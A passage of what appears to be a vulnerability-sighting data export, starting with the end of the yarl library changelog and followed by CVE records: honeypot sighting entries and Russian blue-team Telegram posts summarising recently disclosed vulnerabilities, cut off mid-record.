3.5 support\n\n* Fix quoting of plus in path by pure python version (#339)\n\n* Don't create a new URL if fragment is unchanged (#292)\n\n* Included in error message the path that produces starting slash forbidden error (#376)\n\n* Skip slow IDNA encoding for ASCII-only strings (#387)\n\n\n1.3.0 (2018-12-11)\n==================\n\n* Fix annotations for ``query`` parameter (#207)\n\n* An incoming query sequence can have int variables (the same as for\n  Mapping type) (#208)\n\n* Add ``URL.explicit_port`` property (#218)\n\n* Give a friendlier error when port can't be converted to int (#168)\n\n* ``bool(URL())`` now returns ``False`` (#272)\n\n1.2.6 (2018-06-14)\n==================\n\n* Drop Python 3.4 trove classifier (#205)\n\n1.2.5 (2018-05-23)\n==================\n\n* Fix annotations for ``build`` (#199)\n\n1.2.4 (2018-05-08)\n==================\n\n* Fix annotations for ``cached_property`` (#195)\n\n1.2.3 (2018-05-03)\n==================\n\n* Accept ``str`` subclasses in ``URL`` constructor (#190)\n\n1.2.2 (2018-05-01)\n==================\n\n* Fix build\n\n1.2.1 (2018-04-30)\n==================\n\n* Pin minimal required Python to 3.5.3 (#189)\n\n1.2.0 (2018-04-30)\n==================\n\n* Forbid inheritance, replace ``__init__`` with ``__new__`` (#171)\n\n* Support PEP-561 (provide type hinting marker) (#182)\n\n1.1.1 (2018-02-17)\n==================\n\n* Fix performance regression: don't encode empty ``netloc`` (#170)\n\n1.1.0 (2018-01-21)\n==================\n\n* Make pure Python quoter consistent with Cython version (#162)\n\n1.0.0 (2018-01-15)\n==================\n\n* Use fast path if quoted string does not need requoting (#154)\n\n* Speed up quoting/unquoting by ``_Quoter`` and ``_Unquoter`` classes (#155)\n\n* Drop ``yarl.quote`` and ``yarl.unquote`` public functions (#155)\n\n* Add custom string writer, reuse static buffer if available (#157)\n  Code is 50-80 times faster than Pure Python version (was 4-5 times faster)\n\n* Don't recode IP zone (#144)\n\n* Support ``encoded=True`` in ``yarl.URL.build()`` (#158)\n\n* Fix updating query with multiple keys (#160)\n\n0.18.0 (2018-01-10)\n===================\n\n* Fallback to IDNA 2003 if domain name is not IDNA 2008 compatible (#152)\n\n0.17.0 (2017-12-30)\n===================\n\n* Use IDNA 2008 for domain name processing (#149)\n\n0.16.0 (2017-12-07)\n===================\n\n* Fix raising ``TypeError`` by ``url.query_string()`` after\n  ``url.with_query({})`` (empty mapping) (#141)\n\n0.15.0 (2017-11-23)\n===================\n\n* Add ``raw_path_qs`` attribute (#137)\n\n0.14.2 (2017-11-14)\n===================\n\n* Restore ``strict`` parameter as no-op in ``quote`` / ``unquote``\n\n0.14.1 (2017-11-13)\n===================\n\n* Restore ``strict`` parameter as no-op for sake of compatibility with\n  aiohttp 2.2\n\n0.14.0 (2017-11-11)\n===================\n\n* Drop strict mode (#123)\n\n* Fix ``\"ValueError: Unallowed PCT %\"`` when there's a ``\"%\"`` in the URL (#124)\n\n0.13.0 (2017-10-01)\n===================\n\n* Document ``encoded`` parameter (#102)\n\n* Support relative URLs like ``'?key=value'`` (#100)\n\n* Unsafe encoding for QS fixed. Encode ``;`` character in value parameter (#104)\n\n* Process passwords without user names (#95)\n\n0.12.0 (2017-06-26)\n===================\n\n* Properly support paths without leading slash in ``URL.with_path()`` (#90)\n\n* Enable type annotation checks\n\n0.11.0 (2017-06-26)\n===================\n\n* Normalize path (#86)\n\n* Clear query and fragment parts in ``.with_path()`` (#85)\n\n0.10.3 (2017-06-13)\n===================\n\n* Prevent double URL arguments unquoting (#83)\n\n0.10.2 (2017-05-05)\n===================\n\n* Unexpected hash behavior (#75)\n\n\n0.10.1 (2017-05-03)\n===================\n\n* Unexpected compare behavior (#73)\n\n* Do not quote or unquote + if not a query string. (#74)\n\n\n0.10.0 (2017-03-14)\n===================\n\n* Added ``URL.build`` class method (#58)\n\n* Added ``path_qs`` attribute (#42)\n\n\n0.9.8 (2017-02-16)\n==================\n\n* Do not quote ``:`` in path\n\n\n0.9.7 (2017-02-16)\n==================\n\n* Load from pickle without _cache (#56)\n\n* Percent-encoded pluses in path variables become spaces (#59)\n\n\n0.9.6 (2017-02-15)\n==================\n\n* Revert backward incompatible change (BaseURL)\n\n\n0.9.5 (2017-02-14)\n==================\n\n* Fix BaseURL rich comparison support\n\n\n0.9.4 (2017-02-14)\n==================\n\n* Use BaseURL\n\n\n0.9.3 (2017-02-14)\n==================\n\n* Added BaseURL\n\n\n0.9.2 (2017-02-08)\n==================\n\n* Remove debug print\n\n\n0.9.1 (2017-02-07)\n==================\n\n* Do not lose tail chars (#45)\n\n\n0.9.0 (2017-02-07)\n==================\n\n* Allow to quote ``%`` in non strict mode (#21)\n\n* Incorrect parsing of query parameters with %3B (;) inside (#34)\n\n* Fix core dumps (#41)\n\n* ``tmpbuf`` - compiling error (#43)\n\n* Added ``URL.update_path()`` method\n\n* Added ``URL.update_query()`` method (#47)\n\n\n0.8.1 (2016-12-03)\n==================\n\n* Fix broken aiohttp: revert back ``quote`` / ``unquote``.\n\n\n0.8.0 (2016-12-03)\n==================\n\n* Support more verbose error messages in ``.with_query()`` (#24)\n\n* Don't percent-encode ``@`` and ``:`` in path (#32)\n\n* Don't expose ``yarl.quote`` and ``yarl.unquote``, these functions are\n  part of private API\n\n0.7.1 (2016-11-18)\n==================\n\n* Accept not only ``str`` but all classes inherited from ``str`` also (#25)\n\n0.7.0 (2016-11-07)\n==================\n\n* Accept ``int`` as value for ``.with_query()``\n\n0.6.0 (2016-11-07)\n==================\n\n* Explicitly use UTF8 encoding in ``setup.py`` (#20)\n* Properly unquote non-UTF8 strings (#19)\n\n0.5.3 (2016-11-02)\n==================\n\n* Don't use ``typing.NamedTuple`` fields but indexes on URL construction\n\n0.5.2 (2016-11-02)\n==================\n\n* Inline ``_encode`` class method\n\n0.5.1 (2016-11-02)\n==================\n\n* Make URL construction faster by removing extra classmethod calls\n\n0.5.0 (2016-11-02)\n==================\n\n* Add Cython optimization for quoting/unquoting\n* Provide binary wheels\n\n0.4.3 (2016-09-29)\n==================\n\n* Fix typing stubs\n\n0.4.2 (2016-09-29)\n==================\n\n* Expose ``quote()`` and ``unquote()`` as public API\n\n0.4.1 (2016-09-28)\n==================\n\n* Support empty values in query (``'/path?arg'``)\n\n0.4.0 (2016-09-27)\n==================\n\n* Introduce ``relative()`` (#16)\n\n0.3.2 (2016-09-27)\n==================\n\n* Typo fixes #15\n\n0.3.1 (2016-09-26)\n==================\n\n* Support sequence of pairs as ``with_query()`` parameter\n\n0.3.0 (2016-09-26)\n==================\n\n* Introduce ``is_default_port()``\n\n0.2.1 (2016-09-26)\n==================\n\n* Raise ValueError for URLs like 'http://:8080/'\n\n0.2.0 (2016-09-18)\n==================\n\n* Avoid doubling slashes when joining paths (#13)\n\n* Appending path starting from slash is forbidden (#12)\n\n0.1.4 (2016-09-09)\n==================\n\n* Add ``kwargs`` support for ``with_query()`` (#10)\n\n0.1.3 (2016-09-07)\n==================\n\n* Document ``with_query()``, ``with_fragment()`` and ``origin()``\n\n* Allow ``None`` for ``with_query()`` and ``with_fragment()``\n\n0.1.2 (2016-09-07)\n==================\n\n* Fix links, tune docs theme.\n\n0.1.1 (2016-09-06)\n==================\n\n* Update README, old version used obsolete API\n\n0.1.0 (2016-09-06)\n==================\n\n* The library was deeply refactored, bytes are gone away but all\n  accepted strings are encoded if needed.\n\n0.0.1 (2016-08-30)\n==================\n\n* The first release.\n", "creation_timestamp": "2026-06-05T08:53:16.000000Z"}, {"uuid": "9394be8c-46a0-4715-b355-463ff2d7a0af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-04)", "content": "", "creation_timestamp": "2026-06-04T00:00:00.000000Z"}, {"uuid": "ef755840-c218-4675-bdc9-8ae17dd4052b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-04)", "content": "", "creation_timestamp": "2026-06-04T00:00:00.000000Z"}, {"uuid": "c3896a73-097c-4f2b-9f41-a2f733631701", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-16)", "content": "", "creation_timestamp": "2026-08-17T10:00:03.015964Z"}, {"uuid": "368e64be-b71b-4998-b046-9823887ce512", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-05)", "content": "", "creation_timestamp": "2026-06-05T00:00:00.000000Z"}, {"uuid": "dd630aa3-06ca-4c66-ba96-c8fb670a913e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-05)", "content": "", "creation_timestamp": "2026-06-05T00:00:00.000000Z"}, {"uuid": "adbde58d-34f5-4b9e-84dd-6ddeb01af929", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-06)", "content": "", "creation_timestamp": "2026-06-06T00:00:00.000000Z"}, {"uuid": "441ae246-3e93-4269-8f66-3d8807643b5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-16)", "content": "", "creation_timestamp": "2026-08-17T10:15:04.432815Z"}, {"uuid": "e3adb720-f3c1-432c-a7ae-999c8b27b0ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12021", "type": "seen", "source": "https://t.me/purp_sec/441", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u041e\u0421 Unity 5.4 \u2014 \u0435\u0449\u0435 \u043c\u043d\u043e\u0433\u043e CVE, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445, \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Dell Unity. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 CVE-2025-22398 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 Dell Unity, UnityVSA \u0438 Unity XT. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 root.\n\n\ud83d\udd35 CVE-2024-12021 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Coverity, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 XSS-\u0430\u0442\u0430\u043a\u0443. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u043e\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a \u0434\u0440\u0443\u0433\u0438\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u043c XSS-\u0430\u0442\u0430\u043a.\n\n\ud83d\udd35 CVE-2025-0282 \u2014 \u043e\u0442\u0447\u0435\u0442 CISA \u043e \u043d\u043e\u0432\u043e\u043c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e RESURGE, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u043c CVE-2025-0282 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430) \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Ivanti Connect Secure.\n\n\n\u0410 \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u0435\u0436\u0438\u0445 CVE \u0434\u043b\u044f \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u0432 WordPress:\n\n\ud83d\udd35 CVE-2025-2294 \u2014 LFI-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Kubio AI Page Builder \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35 CVE-2024-3628 \u2014 \u0431\u0430\u0433 \u0432 EasyEvent, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043f\u043b\u0430\u0433\u0438\u043d\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c XSS-\u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd35 CVE-2024-4082 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Joli FAQ SEO, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 CSRF-\u0430\u0442\u0430\u043a. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430.\n\n\ud83d\udd35 CVE-2024-3923 \u2014 \u200b\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Beaver Builder, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u043e\u0441\u0435\u0449\u0430\u044e\u0449\u0438\u0445 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-14T16:00:20.785373Z"}, {"uuid": "27d4648f-be60-462c-b174-e997f62c35e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-29)", "content": "", "creation_timestamp": "2026-08-30T10:00:03.138098Z"}, {"uuid": "c79e41dc-cf4b-4a84-87b4-868658beded7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/purp_sec/386", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-25599 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c Bolt CMS, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0430\u0432\u0430\u0442\u0430\u0440\u043e\u0432 \u043f\u043e URL. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35CVE-2025-24016 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Wazuh, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0432 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 DAPI. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API \u0438\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0430\u0433\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 JSON-\u043f\u0430\u043a\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u041f\u0440\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 as_wazuh_object \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e Python-\u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Wazuh.\n\n\ud83d\udd35CVE-2025-24813 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache Tomcat, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u0432 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 payload \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\ud83d\udd35CVE-2024-12084, CVE-2024-12086, CVE-2024-12087 \u0438 CVE-2024-12088 \u2014 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 Rsync \u0432\u0435\u0440\u0441\u0438\u0438 3.2.7, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Debian 12. \u0412\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438, \u0443\u0442\u0435\u0447\u043a\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u0431\u0445\u043e\u0434 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-14T16:00:22.035031Z"}, {"uuid": "a6b6d638-ef85-46d1-a329-3480bf423414", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/e7759270-c4f2-4aa0-a716-96c00d40f0a0", "content": "", "creation_timestamp": "2026-06-08T06:22:26.825140Z"}, {"uuid": "85768947-923a-4e21-be07-35ba6667710e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/purp_sec/386", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-25599 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c Bolt CMS, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 